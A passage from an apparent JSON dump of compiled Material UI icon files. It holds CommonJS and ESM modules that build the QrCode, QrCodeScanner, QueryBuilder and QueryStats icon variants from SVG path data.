.28.22.5.5.5h1c.28 0 .5-.22.5-.5v-1c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5m2.5 3.5h1c.28 0 .5-.22.5-.5v-1c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5v1c0 .28.22.5.5.5m2-2h1c.28 0 .5-.22.5-.5v-1c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5v1c0 .28.22.5.5.5m1-6h-1c-.28 0-.5.22-.5.5v1c0 .28.22.5.5.5h1c.28 0 .5-.22.5-.5v-1c0-.28-.22-.5-.5-.5m1 4h1c.28 0 .5-.22.5-.5v-1c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5v1c0 .28.22.5.5.5\"\n}), 'QrCodeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCodeScanner.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 6.5v3h-3v-3zM11 5H5v6h6zm-1.5 9.5v3h-3v-3zM11 13H5v6h6zm6.5-6.5v3h-3v-3zM19 5h-6v6h6zm-6 8h1.5v1.5H13zm1.5 1.5H16V16h-1.5zM16 13h1.5v1.5H16zm-3 3h1.5v1.5H13zm1.5 1.5H16V19h-1.5zM16 16h1.5v1.5H16zm1.5-1.5H19V16h-1.5zm0 3H19V19h-1.5zM22 7h-2V4h-3V2h5zm0 15v-5h-2v3h-3v2zM2 22h5v-2H4v-3H2zM2 2v5h2V4h3V2z\"\n}), 'QrCodeScanner');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCodeScanner.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 6.5v3h-3v-3zM11 5H5v6h6zm-1.5 9.5v3h-3v-3zM11 13H5v6h6zm6.5-6.5v3h-3v-3zM19 5h-6v6h6zm-6 8h1.5v1.5H13zm1.5 1.5H16V16h-1.5zM16 13h1.5v1.5H16zm-3 3h1.5v1.5H13zm1.5 1.5H16V19h-1.5zM16 16h1.5v1.5H16zm1.5-1.5H19V16h-1.5zm0 3H19V19h-1.5zM22 7h-2V4h-3V2h5zm0 15v-5h-2v3h-3v2zM2 22h5v-2H4v-3H2zM2 2v5h2V4h3V2z\"\n}), 'QrCodeScanner');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCodeScannerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 6.5v3h-3v-3zM11 5H5v6h6zm-1.5 9.5v3h-3v-3zM11 13H5v6h6zm6.5-6.5v3h-3v-3zM19 5h-6v6h6zm-6 8h1.5v1.5H13zm1.5 1.5H16V16h-1.5zM16 13h1.5v1.5H16zm-3 3h1.5v1.5H13zm1.5 1.5H16V19h-1.5zM16 16h1.5v1.5H16zm1.5-1.5H19V16h-1.5zm0 3H19V19h-1.5zM22 7h-2V4h-3V2h5zm0 15v-5h-2v3h-3v2zM2 22h5v-2H4v-3H2zM2 2v5h2V4h3V2z\"\n}), 'QrCodeScannerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCodeScannerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 6.5v3h-3v-3zM11 5H5v6h6zm-1.5 9.5v3h-3v-3zM11 13H5v6h6zm6.5-6.5v3h-3v-3zM19 5h-6v6h6zm-6 8h1.5v1.5H13zm1.5 1.5H16V16h-1.5zM16 13h1.5v1.5H16zm-3 3h1.5v1.5H13zm1.5 1.5H16V19h-1.5zM16 16h1.5v1.5H16zm1.5-1.5H19V16h-1.5zm0 3H19V19h-1.5zM22 7h-2V4h-3V2h5zm0 15v-5h-2v3h-3v2zM2 22h5v-2H4v-3H2zM2 2v5h2V4h3V2z\"\n}), 'QrCodeScannerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCodeScannerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 6.5v3h-3v-3zM11 5H5v6h6zm-1.5 9.5v3h-3v-3zM11 13H5v6h6zm6.5-6.5v3h-3v-3zM19 5h-6v6h6zm-6 8h1.5v1.5H13zm1.5 1.5H16V16h-1.5zM16 13h1.5v1.5H16zm-3 3h1.5v1.5H13zm1.5 1.5H16V19h-1.5zM16 16h1.5v1.5H16zm1.5-1.5H19V16h-1.5zm0 3H19V19h-1.5zM21 7c-.55 0-1-.45-1-1V4h-2c-.55 0-1-.45-1-1s.45-1 1-1h3c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1m1 14v-3c0-.55-.45-1-1-1s-1 .45-1 1v2h-2c-.55 0-1 .45-1 1s.45 1 1 1h3c.55 0 1-.45 1-1M3 22h3c.55 0 1-.45 1-1s-.45-1-1-1H4v-2c0-.55-.45-1-1-1s-1 .45-1 1v3c0 .55.45 1 1 1M2 3v3c0 .55.45 1 1 1s1-.45 1-1V4h2c.55 0 1-.45 1-1s-.45-1-1-1H3c-.55 0-1 .45-1 1\"\n}), 'QrCodeScannerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCodeScannerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 6.5v3h-3v-3zM11 5H5v6h6zm-1.5 9.5v3h-3v-3zM11 13H5v6h6zm6.5-6.5v3h-3v-3zM19 5h-6v6h6zm-6 8h1.5v1.5H13zm1.5 1.5H16V16h-1.5zM16 13h1.5v1.5H16zm-3 3h1.5v1.5H13zm1.5 1.5H16V19h-1.5zM16 16h1.5v1.5H16zm1.5-1.5H19V16h-1.5zm0 3H19V19h-1.5zM21 7c-.55 0-1-.45-1-1V4h-2c-.55 0-1-.45-1-1s.45-1 1-1h3c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1m1 14v-3c0-.55-.45-1-1-1s-1 .45-1 1v2h-2c-.55 0-1 .45-1 1s.45 1 1 1h3c.55 0 1-.45 1-1M3 22h3c.55 0 1-.45 1-1s-.45-1-1-1H4v-2c0-.55-.45-1-1-1s-1 .45-1 1v3c0 .55.45 1 1 1M2 3v3c0 .55.45 1 1 1s1-.45 1-1V4h2c.55 0 1-.45 1-1s-.45-1-1-1H3c-.55 0-1 .45-1 1\"\n}), 'QrCodeScannerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCodeScannerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 6.5v3h-3v-3zM11 5H5v6h6zm-1.5 9.5v3h-3v-3zM11 13H5v6h6zm6.5-6.5v3h-3v-3zM19 5h-6v6h6zm-6 8h1.5v1.5H13zm1.5 1.5H16V16h-1.5zM16 13h1.5v1.5H16zm-3 3h1.5v1.5H13zm1.5 1.5H16V19h-1.5zM16 16h1.5v1.5H16zm1.5-1.5H19V16h-1.5zm0 3H19V19h-1.5zM22 7h-2V4h-3V2h5zm0 15v-5h-2v3h-3v2zM2 22h5v-2H4v-3H2zM2 2v5h2V4h3V2z\"\n}), 'QrCodeScannerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCodeScannerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 6.5v3h-3v-3zM11 5H5v6h6zm-1.5 9.5v3h-3v-3zM11 13H5v6h6zm6.5-6.5v3h-3v-3zM19 5h-6v6h6zm-6 8h1.5v1.5H13zm1.5 1.5H16V16h-1.5zM16 13h1.5v1.5H16zm-3 3h1.5v1.5H13zm1.5 1.5H16V19h-1.5zM16 16h1.5v1.5H16zm1.5-1.5H19V16h-1.5zm0 3H19V19h-1.5zM22 7h-2V4h-3V2h5zm0 15v-5h-2v3h-3v2zM2 22h5v-2H4v-3H2zM2 2v5h2V4h3V2z\"\n}), 'QrCodeScannerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCodeScannerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 6.5v3h-3v-3zM11 5H5v6h6zm-1.5 9.5v3h-3v-3zM11 13H5v6h6zm6.5-6.5v3h-3v-3zM19 5h-6v6h6zm-6 8h1.5v1.5H13zm1.5 1.5H16V16h-1.5zM16 13h1.5v1.5H16zm-3 3h1.5v1.5H13zm1.5 1.5H16V19h-1.5zM16 16h1.5v1.5H16zm1.5-1.5H19V16h-1.5zm0 3H19V19h-1.5zM22 7h-2V4h-3V2h5zm0 15v-5h-2v3h-3v2zM2 22h5v-2H4v-3H2zM2 2v5h2V4h3V2z\"\n}), 'QrCodeScannerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCodeScannerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 6.5v3h-3v-3zM11 5H5v6h6zm-1.5 9.5v3h-3v-3zM11 13H5v6h6zm6.5-6.5v3h-3v-3zM19 5h-6v6h6zm-6 8h1.5v1.5H13zm1.5 1.5H16V16h-1.5zM16 13h1.5v1.5H16zm-3 3h1.5v1.5H13zm1.5 1.5H16V19h-1.5zM16 16h1.5v1.5H16zm1.5-1.5H19V16h-1.5zm0 3H19V19h-1.5zM22 7h-2V4h-3V2h5zm0 15v-5h-2v3h-3v2zM2 22h5v-2H4v-3H2zM2 2v5h2V4h3V2z\"\n}), 'QrCodeScannerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCodeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 11h8V3H3zm2-6h4v4H5zM3 21h8v-8H3zm2-6h4v4H5zm8-12v8h8V3zm6 6h-4V5h4zm0 10h2v2h-2zm-6-6h2v2h-2zm2 2h2v2h-2zm-2 2h2v2h-2zm2 2h2v2h-2zm2-2h2v2h-2zm0-4h2v2h-2zm2 2h2v2h-2z\"\n}), 'QrCodeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCodeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 11h8V3H3zm2-6h4v4H5zM3 21h8v-8H3zm2-6h4v4H5zm8-12v8h8V3zm6 6h-4V5h4zm0 10h2v2h-2zm-6-6h2v2h-2zm2 2h2v2h-2zm-2 2h2v2h-2zm2 2h2v2h-2zm2-2h2v2h-2zm0-4h2v2h-2zm2 2h2v2h-2z\"\n}), 'QrCodeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCodeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15h4v4H5zM5 5h4v4H5zm10 0h4v4h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 11h8V3H3zm2-6h4v4H5zM3 21h8v-8H3zm2-6h4v4H5zm8-12v8h8V3zm6 6h-4V5h4zm0 10h2v2h-2zm-6-6h2v2h-2zm2 2h2v2h-2zm-2 2h2v2h-2zm2 2h2v2h-2zm2-2h2v2h-2zm0-4h2v2h-2zm2 2h2v2h-2z\"\n}, \"1\")], 'QrCodeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCodeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15h4v4H5zM5 5h4v4H5zm10 0h4v4h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 11h8V3H3zm2-6h4v4H5zM3 21h8v-8H3zm2-6h4v4H5zm8-12v8h8V3zm6 6h-4V5h4zm0 10h2v2h-2zm-6-6h2v2h-2zm2 2h2v2h-2zm-2 2h2v2h-2zm2 2h2v2h-2zm2-2h2v2h-2zm0-4h2v2h-2zm2 2h2v2h-2z\"\n}, \"1\")], 'QrCodeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueryBuilder.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 7H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}, \"1\")], 'QueryBuilder');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueryBuilder.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 7H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}, \"1\")], 'QueryBuilder');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueryBuilderOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m.5-13H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}), 'QueryBuilderOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueryBuilderOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m.5-13H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}), 'QueryBuilderOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueryBuilderRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m-.22-13h-.06c-.4 0-.72.32-.72.72v4.72c0 .35.18.68.49.86l4.15 2.49c.34.2.78.1.98-.24.21-.34.1-.79-.25-.99l-3.87-2.3V7.72c0-.4-.32-.72-.72-.72\"\n}), 'QueryBuilderRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueryBuilderRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m-.22-13h-.06c-.4 0-.72.32-.72.72v4.72c0 .35.18.68.49.86l4.15 2.49c.34.2.78.1.98-.24.21-.34.1-.79-.25-.99l-3.87-2.3V7.72c0-.4-.32-.72-.72-.72\"\n}), 'QueryBuilderRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueryBuilderSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m.5-13H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}), 'QueryBuilderSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueryBuilderSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m.5-13H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}), 'QueryBuilderSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueryBuilderTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m4.25 12.15L11 13V7h1.5v5.25l4.5 2.67z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m.5-13H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}, \"1\")], 'QueryBuilderTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueryBuilderTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m4.25 12.15L11 13V7h1.5v5.25l4.5 2.67z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m.5-13H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}, \"1\")], 'QueryBuilderTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueryStats.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.88 18.47c.44-.7.7-1.51.7-2.39 0-2.49-2.01-4.5-4.5-4.5s-4.5 2.01-4.5 4.5 2.01 4.5 4.49 4.5c.88 0 1.7-.26 2.39-.7L21.58 23 23 21.58zm-3.8.11c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5m-.36-8.5c-.74.02-1.45.18-2.1.45l-.55-.83-3.8 6.18-3.01-3.52-3.63 5.81L1 17l5-8 3 3.5L13 6zm2.59.5c-.64-.28-1.33-.45-2.05-.49L21.38 2 23 3.18z\"\n}), 'QueryStats');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueryStats.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.88 18.47c.44-.7.7-1.51.7-2.39 0-2.49-2.01-4.5-4.5-4.5s-4.5 2.01-4.5 4.5 2.01 4.5 4.49 4.5c.88 0 1.7-.26 2.39-.7L21.58 23 23 21.58zm-3.8.11c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5m-.36-8.5c-.74.02-1.45.18-2.1.45l-.55-.83-3.8 6.18-3.01-3.52-3.63 5.81L1 17l5-8 3 3.5L13 6zm2.59.5c-.64-.28-1.33-.45-2.05-.49L21.38 2 23 3.18z\"\n}), 'QueryStats');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueryStatsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.88 18.47c.44-.7.7-1.51.7-2.39 0-2.49-2.01-4.5-4.5-4.5s-4.5 2.01-4.5 4.5 2.01 4.5 4.49 4.5c.88 0 1.7-.26 2.39-.7L21.58 23 23 21.58zm-3.8.11c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5m-.36-8.5c-.74.02-1.45.18-2.1.45l-.55-.83-3.8 6.18-3.01-3.52-3.63 5.81L1 17l5-8 3 3.5L13 6zm2.59.5c-.64-.28-1.33-.45-2.05-.49L21.38 2 23 3.18z\"\n}), 'QueryStatsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueryStatsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.88 18.47c.44-.7.7-1.51.7-2.39 0-2.49-2.01-4.5-4.5-4.5s-4.5 2.01-4.5 4.5 2.01 4.5 4.49 4.5c.88 0 1.7-.26 2.39-.7L21.58 23 23 21.58zm-3.8.11c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5m-.36-8.5c-.74.02-1.45.18-2.1.45l-.55-.83-3.8 6.18-3.01-3.52-3.63 5.81L1 17l5-8 3 3.5L13 6zm2.59.5c-.64-.28-1.33-.45-2.05-.49L21.38 2 23 3.18z\"\n}), 'QueryStatsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/QueryStatsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.88 18.47c.48-.77.75-1.67.69-2.66-.13-2.15-1.84-3.97-3.97-4.2-2.72-.3-5.02 1.81-5.02 4.47 0 2.49 2.01 4.5 4.49 4.5.88 0 1.7-.26 2.39-.7l2.41 2.41c.39.39 1.03.39 1.42 0s.39-1.03 0-1.42zm-3.8.11c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 